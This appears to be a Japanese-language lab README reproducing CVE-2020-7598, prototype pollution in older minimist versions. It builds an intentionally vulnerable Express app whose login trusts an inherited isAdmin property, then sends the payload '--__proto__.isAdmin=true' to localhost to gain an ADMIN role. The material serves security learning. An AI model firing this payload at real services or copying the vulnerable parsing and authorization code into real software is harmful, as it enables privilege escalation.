CVE-2020-7598 - Prototype Pollution in minimist

免責事項

このプロジェクトは以下の目的のみで作成されています:

学習用、
セキュリティ研究用、
個人用ローカルラボ用。

許可なくシステムに対して使用しないでください。

CVE について

CVE-2020-7598 は npm パッケージにおける Prototype Pollution の脆弱性です:

minimist
影響を受けるバージョン:
- < 0.2.1
- >= 1.0.0 < 1.2.3

この脆弱性により、攻撃者は次の値を改ざんできる可能性があります:

Object.prototype

次のようなペイロードを通じて:

--__proto__.isAdmin=true

その結果:

JavaScript のすべてのオブジェクトが危険なプロパティを継承する可能性がある、
認証バイパス、
権限昇格、
特定の条件下では RCE に至るチェーン。

Prototype Pollution の仕組み

JavaScript では:

const user = {};

空のオブジェクトでも次の値からプロパティを継承します:

Object.prototype

攻撃者が次の操作に成功すると:

Object.prototype.isAdmin = true;

すると:

({}).isAdmin

は次の値を返します:

true

通常のすべてのオブジェクトに対して。

ラボ環境

依存関係

Node.js
Express
[email protected]

インストール

1. リポジトリのクローン

https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. 依存関係のインストール

npm install

または手動で:

npm install express [email protected]

ソースコード

次のファイルを作成します:

app.js

内容:

const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

サーバーの起動

node app.js

出力:

Server running on port 3000

通常のテスト

通常のログイン

curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

出力:

{
  "success": true,
  "role": "USER"
}

CVE-2020-7598 の悪用

Prototype Pollution のペイロード

ブラウザで開きます:

http://localhost:3000/parse?payload=--__proto__.isAdmin=true

または curl を使用します:

curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

悪用の結果

サーバーのターミナル:

GLOBAL isAdmin: true

つまり:

Object.prototype.isAdmin = true

が正常に改ざんされました。

悪用後のログイン

curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

出力:

{
  "success": true,
  "role": "ADMIN"
}

それにもかかわらず:

データベースは変更されていない、
ソースコードは変更されていない、
ユーザーは isAdmin プロパティを持っていない。

なぜ ADMIN になれるのか?

次のコード:

if(user.isAdmin)

はオブジェクトが直接持つプロパティだけをチェックするわけではありません。

JavaScript は次の順序で探索します:

オブジェクト自身のプロパティ、
次にプロトタイプチェーン。

攻撃者が次の値を改ざんすることに成功したため:

Object.prototype.isAdmin = true

通常のすべてのオブジェクトがそのプロパティを継承します。

Prototype Pollution の証拠

サーバーのログ:

Own property: false
user.isAdmin: true